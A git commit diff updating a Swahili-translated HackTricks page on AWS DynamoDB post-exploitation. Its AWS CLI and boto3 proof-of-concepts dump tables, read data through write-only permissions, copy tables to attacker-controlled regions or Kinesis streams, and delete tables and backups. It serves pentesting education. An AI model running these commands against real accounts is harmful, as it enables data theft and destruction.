mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+271
-39
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii ataweza **kupata vitu kutoka kwenye meza kwa ufunguo wa msingi** (huwezi tu kuomba data zote za meza). Hii inamaanisha unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (`describe-table`).
|
||||
Mshambulizi mwenye ruhusa hizi ataweza **kupata vitu kutoka kwenye jedwali kwa kutumia funguo kuu** (huwezi kuomba tu data yote ya jedwali). Hii inamaanisha kwamba unahitaji kujua funguo kuu (hizi unaweza kuzipata kwa kupata metadata ya jedwali (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
|
||||
**Athari Inayoweza Kutokea:** Indirect privesc kwa kupata taarifa nyeti ndani ya jedwali
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Kama ruhusa za awali** hii inamruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali moja tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata:
|
||||
**Sawa na ruhusa zilizotangulia** hii inamruhusu mdukuzi wa uwezekano kusoma thamani kutoka kwa jedwali moja tu akitumia primary key ya rekodi anayotaka kurejesha:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Kwa ruhusa hii inawezekana pia kutumia njia ya **`transact-get-items`** kama:
|
||||
Kwa ruhusa hii pia inawezekana kutumia njia ya **`transact-get-items`** kama:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
|
||||
**Athari Inayowezekana:** Kupanda cheo kwa njia isiyo ya moja kwa moja (Indirect privesc) kwa kutambua taarifa nyeti kwenye jedwali
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Kama ruhusa za awali** hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee kinachopaswa kupatikana. Inaruhusu kutumia [seti ndogo ya kulinganisha](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kulinganisha pekee linaloruhusiwa na ufunguo wa msingi (ambalo lazima lionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi.
|
||||
**Kama ilivyo kwa ruhusa zilizotangulia** hii inamruhusu mshambuliaji wa uwezekano kusoma thamani kutoka kwenye jedwali 1 tu kwa kutoa funguo kuu (primary key) ya rekodi anayotaka. Inawekawezesha kutumia [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kigezo pekee kinachoruhusiwa kwa funguo kuu (ambacho lazima kiwepo) ni "EQ", kwa hivyo huwezi kutumia kigezo kupata hifadhidata yote katika ombi.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
|
||||
**Athari Inayoweza Kutokea:** Isiyo ya moja kwa moja privesc kwa kutambua taarifa nyeti kwenye jedwali
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Unaweza kutumia ruhusa hii **kudondosha jedwali zima kwa urahisi**.
|
||||
Unaweza kutumia ruhusa hii ku**dump jedwali lote kwa urahisi**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
|
||||
**Athari Inayoweza Kutokea:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Unaweza kutumia ruhusa hii **kudondosha jedwali zima kwa urahisi**.
|
||||
Unaweza kutumia ruhusa hii ili **dump jedwali lote kwa urahisi**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Ruhusa hii pia inaruhusu kutekeleza `batch-execute-statement` kama:
|
||||
Ruhusa hii pia inaruhusu kutekeleza `batch-execute-statement` kama ifuatavyo:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
lakini unahitaji kubainisha ufunguo wa msingi wenye thamani, hivyo siyo faida sana.
|
||||
lakini unahitaji kubainisha ufunguo wa msingi (primary key) kwa thamani, hivyo haifai sana.
|
||||
|
||||
**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
|
||||
**Athari Inayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Ruhusa hii itamruhusu mshambuliaji **kutoa jedwali zima kwenye S3 bucket** ya uchaguzi wake:
|
||||
Ruhusa hii itamruhusu mshambuliaji **kuhamisha jedwali lote kwenye S3 bucket aliyoichagua:**
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa, unaweza kuangalia kama jedwali lina hiyo kwa:
|
||||
Kumbuka kwamba ili hili lifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa; unaweza kuangalia ikiwa jedwali lina point-in-time-recovery kwa kutumia:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Ikiwa haijawashwa, utahitaji **kuwasha** na kwa hiyo unahitaji ruhusa **`dynamodb:ExportTableToPointInTime`**:
|
||||
Ikiwa haijawezeshwa, utahitaji **kuiwezesha** na kwa hilo unahitaji ruhusa **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
|
||||
**Madhara Yanayoweza Kutokea:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa nakala ya akiba** (au hata kuunda akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa akiba ambazo h**aziwezi kuwa tena katika uzalishaji** jedwali.
|
||||
Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwenye chelezo** (au hata kuunda chelezo ili kisha kuirejesha kwenye jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa chelezo ambazo **hazikuwepo tena kwenye jedwali la uzalishaji**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika nakala ya meza
|
||||
**Athari Inayowezekana:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika nakala rudufu ya jedwali
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Ruhusa hii inawawezesha watumiaji kuongeza **kitu kipya kwenye meza au kubadilisha kitu kilichopo** na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, **kitu chote kitabadilishwa** na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa **mpya**.
|
||||
Ruhusa hii inawawezesha watumiaji kuongeza **kipengee kipya kwenye jedwali au kubadilisha kipengee kilicho tayari kuwepo** kwa kipengee kipya. Ikiwa kipengee chenye key kuu sawa tayari kipo, **kipengee kizima kitabadilishwa** na kipengee kipya. Ikiwa key kuu haipo, kipengee kipya chenye key kuu iliyobainishwa kita **undwa**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Madhara Yanayoweza Kutokea:** Ukatili wa udhaifu zaidi/kuvunjika kwa sheria kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB
|
||||
**Athari Inayowezekana:** Kutumiwa kwa udhaifu na mbinu za kuepuka vizuizi zaidi kwa sababu ya uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Ruhusa hii inawaruhusu watumiaji **kubadilisha sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee**. Haifanyi **mabadiliko** ya kipengee chote; inasasisha tu sifa zilizotajwa. Ikiwa funguo kuu haipo katika jedwali, operesheni itafanya **kuunda kipengee kipya** chenye funguo kuu iliyotajwa na kuweka sifa zilizotajwa katika muktadha wa sasisho.
|
||||
Ruhusa hii inawawezesha watumiaji **kuhariri sifa zilizopo za item au kuongeza sifa mpya kwa item**. **Haibadilishi** item nzima; inasasisha tu sifa zilizotajwa. Kama primary key haipo kwenye jedwali, operesheni itaunda **item mpya** yenye primary key iliyotajwa na itaweka sifa zilizotajwa katika update expression.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,62 +242,294 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Madhara Yanayoweza Kutokea:** Kutumiwa kwa udhaifu zaidi/kuvunjwa kwa kinga kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB
|
||||
**Potential Impact:** Kutumiwa kwa udhaifu au bypasses zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupotea kwa data**.
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, kusababisha upotevu wa data**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Madhara yanayoweza kutokea**: Kupoteza data na kuingiliwa kwa huduma zinazotegemea meza iliyofutwa.
|
||||
**Athari inayowezekana**: Upotezaji wa data na kuathirika kwa huduma zinazotegemea jedwali lililofutwa.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kurejesha baada ya janga**.
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta chelezo ya DynamoDB, ikisababisha upotezaji wa data katika tukio la urejeshaji baada ya maafa**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Madhara yanayoweza kutokea**: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya kuokoa janga.
|
||||
**Athari inayowezekana**: Kupoteza data na kutoweza kurejesha kutoka kwenye chelezo wakati wa tukio la urejeshaji baada ya janga.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Jaribu kama hii inafanya kazi
|
||||
> TODO: Jaribu kama hii kwa kweli inafanya kazi
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza **kuwezesha mtiririko kwenye meza ya DynamoDB, kusasisha meza ili kuanza kutiririsha mabadiliko, na kisha kufikia mtiririko ili kufuatilia mabadiliko kwenye meza kwa wakati halisi**. Hii inamruhusu mshambuliaji kufuatilia na kuhamasisha mabadiliko ya data, ambayo yanaweza kusababisha uvujaji wa data.
|
||||
Mshambulizi mwenye ruhusa hizi anaweza **kuwezesha stream kwenye jedwali la DynamoDB, kusasisha jedwali ili kuanza streaming ya mabadiliko, na kisha kufikia stream ili kufuatilia mabadiliko kwenye jedwali kwa wakati halisi**. Hii inamruhusu mshambulizi kufuatilia na exfiltrate mabadiliko ya data, na kuna uwezekano wa kusababisha data leakage.
|
||||
|
||||
1. Wezesha mtiririko kwenye meza ya DynamoDB:
|
||||
1. Wezesha stream kwenye jedwali la DynamoDB:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Eleza mtiririko wa kupata ARN na maelezo mengine:
|
||||
2. Eleza stream ili kupata ARN na maelezo mengine:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Pata iterator ya shard ukitumia ARN ya mtiririko:
|
||||
3. Pata shard iterator ukitumia stream ARN:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Tumia iterator ya shard kufikia na kutoa data kutoka kwa mtiririko:
|
||||
4. Tumia shard iterator kufikia na exfiltrate data kutoka kwenye stream:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Madhara yanayoweza kutokea**: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya jedwali la DynamoDB.
|
||||
**Potential impact**: Uangalizi wa wakati halisi na data leakage ya mabadiliko ya jedwali la DynamoDB.
|
||||
|
||||
### Soma vitu kupitia `dynamodb:UpdateItem` na `ReturnValues=ALL_OLD`
|
||||
|
||||
Mshambuliaji mwenye tu `dynamodb:UpdateItem` kwenye jedwali anaweza kusoma vitu bila ruhusa yoyote ya kawaida ya kusoma (`GetItem`/`Query`/`Scan`) kwa kufanya update isiyo hatari na kuomba `--return-values ALL_OLD`. DynamoDB itarejesha picha kamili ya kabla ya update ya item katika uwanja wa `Attributes` wa majibu (hii haisitumii RCUs).
|
||||
|
||||
- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
|
||||
- Prerequisites: You must know the item's primary key.
|
||||
|
||||
Example (inaongeza sifa isiyo hatari na exfiltrates item ya awali katika jibu):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Jibu la CLI litaonyesha kipengele cha `Attributes` chenye rekodi ya awali kamili (sifa zote), kwa vitendo kikitoa primitive ya kusoma kutoka kwa upatikanaji wa kuandika-tu.
|
||||
|
||||
**Athari Inayowezekana:** Soma rekodi yoyote ile kutoka kwenye jedwali ukiwa na ruhusa za kuandika tu, ikiruhusu uondoaji wa data nyeti wakati funguo za msingi zinapojulikana.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Uondoaji wa data kwa siri kwa kuongezea mkoa mpya wa replica kwenye DynamoDB Global Table (toleo 2019.11.21). Ikiwa mhusika anaweza kuongeza replica ya kikanda, jedwali zima litatiririka hadi mkoa ulioteuliwa na mshambuliaji, kutoka huko mshambuliaji anaweza kusoma vitu vyote.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Ruhusa: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. Iwapo CMK inatumiwa kwenye replica, KMS permissions for that key may be required.
|
||||
|
||||
Athari Inayoweza Kutokea: Kuiga jedwali zima (full-table replication) kwenda Region inayodhibitiwa na mshambuliaji, ikisababisha uondoaji wa data kwa njia ya siri.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (kusoma kupitia `ConditionExpression` iliyoshindwa + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Mshambuliaji mwenye ruhusa za transactional write anaweza kuondoa sifa kamili za item iliyopo kwa kufanya `Update` ndani ya `TransactWriteItems` ambayo kwa makusudi inashindwa `ConditionExpression` wakati ukiweka `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Wakati inashindwa, DynamoDB hujumuisha sifa za awali katika sababu za kukatishwa kwa muamala, hivyo kubadilisha ufikiaji wa kuandika tu kuwa ufikiaji wa kusoma wa funguo zilizolengwa.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Ruhusa: `dynamodb:TransactWriteItems` kwenye jedwali lengwa (na item chini yake). Hakuna ruhusa za kusoma zinazohitajika.
|
||||
|
||||
Athari Inayoweza Kutokea: Kusoma vitu vyovyote (kwa funguo kuu) kutoka kwenye jedwali kwa kutumia tu ruhusa za kuandika za muamala kupitia sababu za kughairi zinazorejeshwa.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` kwa GSI
|
||||
|
||||
Vuka vizuizi vya kusoma kwa kuunda Global Secondary Index (GSI) yenye `ProjectionType=ALL` kwenye sifa yenye entropy ya chini, weka sifa hiyo kuwa thamani ya kudumu kwa vitu vyote, kisha `Query` index ili kupata vitu kamili. Hii inafanya kazi hata kama `Query`/`Scan` kwenye jedwali la msingi imekataliwa, mradi tu unaweza ku-query ARN ya index.
|
||||
|
||||
- Ruhusa za chini kabisa:
|
||||
- `dynamodb:UpdateTable` kwenye jedwali lengwa (kwa kuunda GSI yenye `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` kwenye funguo za jedwali lengwa (kwa kuweka sifa iliyowekwa kwenye index kwa kila rekodi).
|
||||
- `dynamodb:Query` kwenye ARN ya rasilimali ya index (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Hatua (PoC katika us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Athari Inayoweza Kutokea:** Utoaji kamili wa jedwali kwa kuuliza GSI mpya iliyoundwa ambayo inaproject attributes zote, hata wakati base table read APIs zimetengwa.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Kutumia vibaya DynamoDB Kinesis streaming destinations ili ku-exfiltrate mabadiliko kutoka kwenye jedwali moja kwa moja kwenda kwa attacker-controlled Kinesis Data Stream. Mara inapoamilishwa, kila tukio la INSERT/MODIFY/REMOVE linasafirishwa karibu kwa wakati halisi kwenye stream bila kuhitaji read permissions kwenye table.
|
||||
|
||||
Ruhusa za chini kabisa (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` kwenye target table
|
||||
- Hiari: `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` kwa kufuatilia status
|
||||
- Ruhusa za kusoma kwenye Kinesis stream inayomilikiwa na attacker ili kuchukua rekodi: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
